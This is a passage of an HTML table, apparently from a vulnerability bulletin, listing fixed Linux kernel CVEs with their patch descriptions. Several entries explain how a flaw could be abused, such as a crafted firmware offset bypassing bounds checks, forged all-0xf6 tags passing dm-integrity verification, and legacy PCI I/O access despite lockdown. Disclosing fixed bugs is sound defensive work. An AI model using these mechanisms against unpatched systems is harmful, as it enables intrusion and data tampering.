&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90307&quot; target=&quot;_blank&quot;&gt;CVE-2026-90307&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: thermal: hwmon: Remove hwmon class device along with its parent The current code creates one hwmon device per thermal zone type and that device is registered under the first thermal zone of the given type. That turns out to be problematic when the thermal zone holding the hwmon device is removed. For example, say that there are two ACPI thermal zones on a system /sys/devices/virtual/thermal/thermal_zone0/ /sys/devices/virtual/thermal/thermal_zone1/ The current code registers a hwmon class device for thermal_zone0 only: /sys/devices/virtual/thermal/thermal_zone0/hwmon0/ because the type is &quot;acpitz&quot; for both of them, but it adds a sysfs attribute that belongs to thermal_zone1 under it: /sys/devices/virtual/thermal/thermal_zone0/hwmon0/temp2_input There is also /sys/devices/virtual/thermal/thermal_zone0/hwmon0/temp1_input which belongs to thermal_zone0. When thermal_zone0 is removed, say because the ACPI thermal driver is unbound from the underlying platform device, thermal_remove_hwmon_sysfs() skips the removal of hwmon0 because of the temp2_input attribute belonging to thermal_zone1 which effectively prevents thermal_zone0 removal from making progress. Address this by making thermal_remove_hwmon_sysfs() remove the entire hwmon class device interface for the given thermal zone type when the thermal zone device holding it is removed. To prevent races with thermal_add_hwmon_sysfs() that may interfere with this, carry out the entire addition and removal of hwmon sysfs interfaces for thermal zones under thermal_hwmon_list_lock. Also adjust the layout of the labels in thermal_add_hwmon_sysfs() to the current kernel coding style to align with the new &quot;unlock&quot; label.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90311&quot; target=&quot;_blank&quot;&gt;CVE-2026-90311&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf, cgroup: Fix invalid storage access after __cgroup_bpf_attach failed A potential invalid storage access issue can occur after replacing a cgroup bpf prog. This occurs in the following scenario: 1. prog1 with storage is attached to a cgroup in multi-attach mode. 2. prog1 is replaced with prog2 using BPF_F_REPLACE in multi-attach mode, but fails midway (e.g. in bpf_trampoline_link_cgroup_shim or update_effective_progs). 3. A new prog3 is attached to the cgroup in multi-attach mode. The reason is that __cgroup_bpf_attach overwrites pl-&amp;gt;storage with the new storage prior to attachment completion. When attachment fails midway, the cleanup path calls bpf_cgroup_storages_free(new_storage) to free the newly allocated storage, but fails to restore pl-&amp;gt;storage back to old_storage. Consequently, the still-active prog1 holds invalid or dangling storage pointers, leading to an invalid memory access when prog1 executes and calls bpf_get_local_storage. Additionally, original pl-&amp;gt;flags and cgrp-&amp;gt;bpf.flags[atype] are left unrestored. Fix this by saving old_pl_flags, old_storage, and old_flags prior to the update, and properly restoring all of them in the cleanup path on error.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90313&quot; target=&quot;_blank&quot;&gt;CVE-2026-90313&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: remoteproc: fix OOB read via signed offset in rsc_table_for_each_entry() table-&amp;gt;offset[i] is a u32 from firmware, but was stored into a signed int. A crafted offset like 0xFFFFFFF0 becomes -16, placing hdr 16 bytes before the table buffer. The subsequent avail check was bypassed because the negative int was promoted to a large size_t in the expression &quot;table_sz - offset - sizeof(*hdr)&quot;, yielding a large positive avail and letting the out-of-bounds hdr-&amp;gt;type read proceed undetected. Store the offset as u32 and validate it with unsigned comparisons before any pointer arithmetic.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90314&quot; target=&quot;_blank&quot;&gt;CVE-2026-90314&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: PCI/sysfs: Add lockdown checks to legacy I/O and memory handlers Currently, the legacy I/O and memory sysfs handlers do not check security_locked_down(LOCKDOWN_PCI_ACCESS), leaving the legacy_io and legacy_mem files unprotected when the kernel is locked down. Commit eb627e17727e (&quot;PCI: Lock down BAR access when the kernel is locked down&quot;) added the check to pci_write_config(), pci_mmap_resource(), and pci_write_resource_io() to prevent userspace from programming DMA-capable hardware that could be used to modify kernel code, but did not cover the legacy handlers. As a result, root can still write arbitrary I/O ports and map the legacy I/O and memory spaces while the kernel is locked down, which is the same capability the lockdown is meant to remove. Add the same check to pci_write_legacy_io(), pci_mmap_legacy_mem(), and pci_mmap_legacy_io(). These generic handlers cover both architectures that define HAVE_PCI_LEGACY (such as Alpha and PowerPC). [bhelgaas: add Link]&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90315&quot; target=&quot;_blank&quot;&gt;CVE-2026-90315&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: fat: release buffer head after rebuilding parent fat_scan_logstart() leaves the matching directory entry&#039;s buffer head in sinfo.bh for the caller to release, just like fat_scan(). fat_rebuild_parent() uses the directory entry to rebuild the parent inode for the nostale_ro NFS export path, but does not release sinfo.bh after a successful scan. Release it once fat_build_inode() has consumed the directory entry data.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90318&quot; target=&quot;_blank&quot;&gt;CVE-2026-90318&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: rapidio: clear mport-&amp;gt;net when rio_add_net() fails rio_alloc_net() stores the newly allocated rio_net in mport-&amp;gt;net before rio_scan_alloc_net() registers the device. If rio_add_net() fails, rio_scan_alloc_net() drops the device reference with put_device(), which releases the rio_net through the device release callback. However, mport-&amp;gt;net is left pointing at the freed object. A later mport unregister path can then dereference the dangling mport-&amp;gt;net pointer and may try to free the same rio_net again. Clear mport-&amp;gt;net in the rio_add_net() failure path, matching the cleanup done for the destID table allocation failure path.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90319&quot; target=&quot;_blank&quot;&gt;CVE-2026-90319&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ocfs2/cluster: keep heartbeat local node stable o2nm_node_local_store() handles local=0 by stopping o2net and setting cl_local_node to O2NM_INVALID_NODE_NUM, but it leaves cl_has_local set. That stale state makes o2nm_this_node() return 255, blocks a later local=1 attempt with -EBUSY, and can feed 255 to heartbeat users that call o2nm_this_node() dynamically. Clearing cl_has_local is required when the local node is reset. But heartbeat threads can still be running at that point. They pin the local node config item at startup, yet o2hb_do_disk_heartbeat() and thread teardown re-read o2nm_this_node() for the local slot and for o2nm_undepend_this_node(). Once local=0 has cleared the live local-node state, those dynamic reads return O2NM_MAX_NODES, which is also the invalid node number 255. Store the local node number in the heartbeat region when the region starts. Use that stable node for heartbeat slot writes/checks, negotiation messages, and the final configfs undepend. Stop the heartbeat loop when the current local node no longer matches the stored node, and clear cl_has_local together with cl_local_node in the local=0 path so nodemanager state matches node removal. Validation reproduced this kernel report: KASAN slab-out-of-bounds in o2hb_do_disk_heartbeat+0x372/0xb30 RIP: 0010:memset+0xf/0x20 Read of size 8 Call trace: dump_stack_lvl+0x66/0xa0 print_report+0xd0/0x630 o2hb_do_disk_heartbeat+0x372/0xb30 (fs/ocfs2/cluster/heartbeat.c:1079) srso_alias_return_thunk+0x5/0xfbef5 __virt_addr_valid+0x188/0x2f0 kasan_report+0xe4/0x120 o2hb_do_disk_heartbeat+0x5/0xb30 (fs/ocfs2/cluster/heartbeat.c:1079) o2hb_thread+0x14e/0x770 kthread_affine_node+0x139/0x180 lockdep_hardirqs_on_prepare+0xda/0x190 trace_hardirqs_on+0x18/0x130 kthread+0x19d/0x1e0 ret_from_fork+0x37a/0x4d0 __switch_to+0x2d5/0x6f0 ret_from_fork_asm+0x1a/0x30&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90322&quot; target=&quot;_blank&quot;&gt;CVE-2026-90322&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ublk: validate auto buf reg before taking uring_cmd With UBLK_F_AUTO_BUF_REG, invalid sqe-&amp;gt;addr can fail after ublk_fill_io_cmd() has set UBLK_IO_FLAG_ACTIVE. The uring_cmd is completed while the tag stays active, which can hang teardown. Split validation from buffer apply so the check has no side effects, then take the uring_cmd and store the already-validated buffer. Apply the same order in FETCH so io-&amp;gt;buf is not written before __ublk_fetch() state checks.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90323&quot; target=&quot;_blank&quot;&gt;CVE-2026-90323&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: phonet: pep: do not write beyond optlen in getsockopt pep_getsockopt() clamps the reported length to the caller&#039;s buffer with min_t(), but then stores the value with put_user(val, (int __user *) optval), which always writes sizeof(int) bytes. A getsockopt() call with an optlen smaller than sizeof(int) thus reports the clamped length yet writes a full int, one to three bytes past the user buffer. Write the value with copy_to_user() bounded by len, so at most optlen bytes are copied, matching the length reported back to userspace.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90327&quot; target=&quot;_blank&quot;&gt;CVE-2026-90327&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: HID: steam: Reject short reads Steam Controller FEATURE reports encode the size of the message in the message itself. Previously we were trusting that the size reported matched the size we actually read, leading to a potential issue with short reads. Instead, we should actually verify the length of the read.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90328&quot; target=&quot;_blank&quot;&gt;CVE-2026-90328&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: HID: logitech-hidpp: Fix FF device cleanup on init failure hidpp_ff_init() creates the input force-feedback device with input_ff_create(), then allocates the HID++ FF private data, effect ID array, and workqueue. If any of those allocations fail after input_ff_create() succeeds, the function returns an error without destroying the FF device. Add an unwind path that frees the private allocations made by hidpp_ff_init() and calls input_ff_destroy() for failures after input_ff_create() succeeds.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90330&quot; target=&quot;_blank&quot;&gt;CVE-2026-90330&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: HID: asus: refactor the two workqueues and init sequence Multiple issues have been found within the hid-asus driver: - unchecked size in asus_raw_event() - unclean teardown of asus_probe on failure - possible use-after-free in asus_probe - multiple workqueue used for jobs where one was enough - sleeping calls in atomic context - packets of incorrect size being sent to the keyboard controller Join the two workqueues into one reusing the stopping mechanism of the brightness workqueue, use the joined workqueue to also move the asus_wmi_send_event() sleeping call away from atomic context and add a size check in asus_raw_event().&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90331&quot; target=&quot;_blank&quot;&gt;CVE-2026-90331&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: dm-integrity: replace forgeable discard filler with a keyed sector marker The discard-block check in dm_integrity_rw_tag() treats a stored tag of all 0xf6 bytes (DISCARD_FILLER) as proof a block was discarded and skips HMAC verification. allow_discards is only accepted in dm-integrity&#039;s standalone mode. An attacker with raw write access to the backing device, but without the integrity key, can stamp any block with an all-0xf6 tag and have it served as authentic. Add a new &quot;allow_discards_keyed&quot; target argument that marks discarded blocks with a keyed checksum of (salt || sector) instead, computed by integrity_discard_checksum().&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90333&quot; target=&quot;_blank&quot;&gt;CVE-2026-90333&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: tty: clear cdev pointer after cdev_add() failure tty_cdev_add() drops the cdev reference when cdev_add() fails, but leaves driver-&amp;gt;cdevs[index] pointing to freed memory. tty_unregister_device() later passes that stale pointer to cdev_del(), causing a use-after-free. Clear the slot after dropping the reference.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90334&quot; target=&quot;_blank&quot;&gt;CVE-2026-90334&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: tty: skip cdev_del() when no cdev is registered TTY device registration can fail before a cdev is allocated. Serial core keeps the port so setserial can still use it, and later removal passes the NULL cdev slot to cdev_del(), causing a NULL-pointer dereference. Only delete the cdev when the slot is not NULL.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90335&quot; target=&quot;_blank&quot;&gt;CVE-2026-90335&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: serial: core: clear freed pointers on uart_register_driver() failure uart_register_driver() leaves drv-&amp;gt;state pointing to freed memory when tty_alloc_driver() fails. If tty_register_driver() fails, drv-&amp;gt;tty_driver also retains a pointer after its reference is dropped. Drivers that use drv-&amp;gt;state as an &quot;already registered&quot; flag can then skip registration on the next probe and pass the freed state to uart_add_one_port(). This issue was found with failslab on QEMU&#039;s raspi1ap board by failing registration and binding the PL011 port again. Clear both pointers on their failure paths, as uart_unregister_driver() already does.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90336&quot; target=&quot;_blank&quot;&gt;CVE-2026-90336&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: serial: core: do fallible allocations before the console can be registered serial_core_add_one_port() allocates uport-&amp;gt;tty_groups after uart_configure_port(), which may register the console. If the allocation fails, the driver unwinds the port while its console remains registered. The earlier uport-&amp;gt;name allocation has a related failure path that leaves state-&amp;gt;uart_port linked to a port being freed. Failslab reproduced a NULL dereference in PL011 console output and a KASAN use-after-free in i.MX console output after failed binds. Allocate the name and tty_groups before linking the port and configuring it. Reserve space for the optional driver attribute group because config_port() may populate uport-&amp;gt;attr_group during configuration.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90337&quot; target=&quot;_blank&quot;&gt;CVE-2026-90337&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: serial: amba-pl011: keep console clock enabled for atomic writes pl011_console_write_atomic() runs from nbcon atomic context, where sleeping is not allowed. It calls clk_enable(), which takes the common-clk enable_lock. Under PREEMPT_RT that is a sleeping lock: clk_enable_lock() first tries spin_trylock_irqsave(), but on contention falls back to spin_lock_irqsave(). Therefore, an atomic-context printk on an RT kernel with a clk-backed pl011 can trip: BUG: sleeping function called from invalid context at spinlock_rt.c:48 __might_resched from rt_spin_lock rt_spin_lock from clk_enable_lock clk_enable_lock from clk_enable clk_enable from pl011_console_write_atomic ... from vprintk_emit This was found and reproduced on PREEMPT_RT. Arm32 and arm64 DT SoCs are affected; arm64 SBSA/ACPI has no clk, so clk_enable(NULL) short-circuits before the lock. In addition, write_atomic() may be invoked from NMI context and is documented to avoid locking. Removing clk_enable() from the callback also avoids a potentially unsafe NMI acquisition of the common-clock enable_lock. An nbcon atomic-capable console must be printable from any context, so the clock cannot be gated between writes. Enable the clock while the console is available for output: use clk_prepare_enable() in pl011_console_setup(), release it via clk_disable_unprepare() in the console .exit() callback, and drop the per-write clk_enable()/clk_disable() pairs from write_atomic() and write_thread(). When printk suspends consoles, drop the reference after uart_suspend_port() stops console access and restore it before uart_resume_port() -- but only if suspend actually marked the port suspended (a wake-capable tty stays running and must keep its clock), and keep it when console_suspend_enabled is false so no_console_suspend works. The active power cost of keeping the clock enabled is platform-dependent: none where the UART clock is a fixed always-on oscillator, real where it is a gateable clock branch, which then cannot be gated (nor possibly can its parent clocks) while the console is available for output. When serial core actually suspends the port, the reference is released so the clock provider can gate the clock tree.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90338&quot; target=&quot;_blank&quot;&gt;CVE-2026-90338&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: powerpc/syscall: Fix syscall skip handling for seccomp and ptrace After enabling GENERIC_ENTRY on PowerPC, syscall_enter_from_user_mode() returns -1 as a sentinel to signal that seccomp or ptrace has intercepted the syscall and already set a return value via syscall_set_return_value(). system_call_exception() was not handling this sentinel, and since -1UL is &amp;gt;= NR_syscalls, the code fell into the out-of-range path and returned -ENOSYS, overwriting the errno already placed in regs-&amp;gt;gpr[3]. The naive fix of checking r0 == -1L before the NR_syscalls bounds check is ambiguous: a user legitimately calling syscall(-1) also produces r0 == -1L, and a tracer intercepting such a call would have its injected return value silently discarded. Fix this by introducing a thread flag that is set whenever syscall_set_return_value() explicitly updates the return value. In system_call_exception(), check and clear this flag before dispatching the syscall, and return the preset value directly when it is present. This ensures that an explicitly supplied return value always suppresses syscall execution, regardless of the syscall number. This handles all seccomp actions correctly: - SECCOMP_RET_ERRNO, SECCOMP_RET_TRACE (no tracer), SECCOMP_RET_USER_NOTIF: all call syscall_set_return_value(), flag is set, injected value returned. - SECCOMP_RET_TRAP, SECCOMP_RET_KILL: call syscall_rollback() and deliver a signal; flag is not set, but the process is dying so the return value is irrelevant. The fix covers both ppc32 and ppc64 with no #ifdefs.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90339&quot; target=&quot;_blank&quot;&gt;CVE-2026-90339&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: pinctrl: generic: free maps on pinctrl_generic_to_map() failure pinctrl_generic_to_map() parses DT configuration and allocates pinctrl maps via pinctrl_utils_reserve_map(). If subsequent steps (such as pinctrl_utils_add_map_mux(), pinctrl_generic_add_group(), pinconf_generic_parse_dt_config(), or pinctrl_utils_add_map_configs()) return an error, *maps may contain partially allocated map entries. Returning the error directly without freeing *maps leaks the allocated mapping memory across all drivers that rely on pinctrl_generic_to_map(). Fix this by calling pinctrl_utils_free_map() and resetting *maps, *num_maps, and *num_reserved_maps in the error path of pinctrl_generic_to_map().&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90340&quot; target=&quot;_blank&quot;&gt;CVE-2026-90340&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Fix mmap_lock deadlock on arena lock failure Reported by the Sashiko AI review. arena_vm_fault() returns VM_FAULT_RETRY when it can&#039;t take arena-&amp;gt;spinlock, but it never took mmap_lock. The fault path assumes a VM_FAULT_RETRY handler already dropped mmap_lock and re-takes it on the retry, so mmap_lock gets taken twice and can deadlock: do_user_addr_fault() { fault = handle_mm_fault(...); // calls arena_vm_fault() if (fault &amp;amp; VM_FAULT_RETRY) goto retry; // re-locks mmap_lock mmap_read_unlock(mm); } Return VM_FAULT_SIGBUS instead, for two reasons: 1. We could keep VM_FAULT_RETRY, but then we&#039;d have to drop the fault lock first and cap the retry ourselves, the way __folio_lock_or_retry() does. 2. A failed raw_res_spin_lock_irqsave() already means a possible deadlock was detected, so retrying just hits the same lock again. So returning VM_FAULT_RETRY here is overkill.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90342&quot; target=&quot;_blank&quot;&gt;CVE-2026-90342&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: mac80211: disconnect on CSA to channel 0 The refactor for the CSA parsing erroneously equates channel zero and no information present, leading it to ignore a CSA on an AP that advertises a switch to that (invalid) channel. This leads to not disconnecting, which we should. For Intel devices, this can lead to a firmware crash. Fix this by using an int type for the channel number as well as the opclass, and using a (negative) value that cannot be encoded in the element to indicate it&#039;s not present.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90344&quot; target=&quot;_blank&quot;&gt;CVE-2026-90344&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: brcmfmac: fix P2P action frame handling without device vif Some P2P action frame paths assume the P2P device vif is always available. That is not true when userspace sends non-P2P public action frames through the primary interface, or when action-frame abort runs after the P2P device vif has not been created. Fall back to the primary vif when aborting an action frame without a P2P device vif, and guard P2P device saved IE access before using it for peer channel search.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90345&quot; target=&quot;_blank&quot;&gt;CVE-2026-90345&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: nl80211: clean up color-change beacon data on errors nl80211_color_change() calls nl80211_parse_beacon() for the beacon_next template, which can allocate params.beacon_next.mbssid_ies and .rnr_ies. A parsing failure returned directly instead of using the out: cleanup, leaking any allocations completed before the error. Allocate the nested attribute table before parsing beacon_next. Its allocation failure can then return before beacon data exists, while a later parsing failure uses out: to release the parsed data.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90346&quot; target=&quot;_blank&quot;&gt;CVE-2026-90346&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: ath10k: snoc: use memcpy_fromio() for MSA ramdump On WCN3990/SNOC the MSA region is mapped with devm_memremap(MEMREMAP_WT). On arm64 such a mapping is not Normal-cacheable, so unaligned accesses to it are not permitted. ath10k_msa_dump_memory() copies the region with a plain memcpy(), whose optimized __pi_memcpy_generic implementation issues wide/unaligned loads. This triggers an alignment fault (FSC=0x21) Oops in ath10k_snoc_fw_crashed_dump() while collecting the devcoredump: Unable to handle kernel paging request ... FSC=0x21: alignment fault pc : __pi_memcpy_generic lr : ath10k_snoc_fw_crashed_dump [ath10k_snoc] The Oops both leaves the firmware RAM dump buffer zeroed (no dump is captured) and crashes the kernel, which in turn breaks modem SSR recovery. Use memcpy_fromio(), which only performs accesses that are valid for such a device-memory mapping. The generic memcpy_fromio() implementation aligns the source before issuing word-sized reads and stores the destination with put_unaligned(), so it is also safe for the coherent DMA allocation used on the non-reserved-memory path. ath11k and ath12k use the same pattern when copying target memory into crash dumps, so call it unconditionally here too. The MEMREMAP_WT pointer is a plain void *, so an explicit __iomem cast is needed; use __force to keep sparse happy. Tested-on: WCN3990 hw1.0 SNOC WLAN.HL.3.3.7.c5-00107-QCAHLSWMTPL-1&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90348&quot; target=&quot;_blank&quot;&gt;CVE-2026-90348&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7996: fix out-of-bounds link array access in mt7996_tx() When mac80211 leaves the link unspecified, mt7996_tx() substitutes the primary link id of the station or vif. That value is IEEE80211_LINK_UNSPECIFIED (0xf) until the first link has been added, and it is then used unchecked to index vif-&amp;gt;link_conf[], mvif-&amp;gt;mt76.link[] and sta-&amp;gt;link[], all of which hold IEEE80211_MLD_MAX_NUM_LINKS (15) entries. Clamp the primary link id to the default link before using it, and use the clamped value for the link_sta fallback as well.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
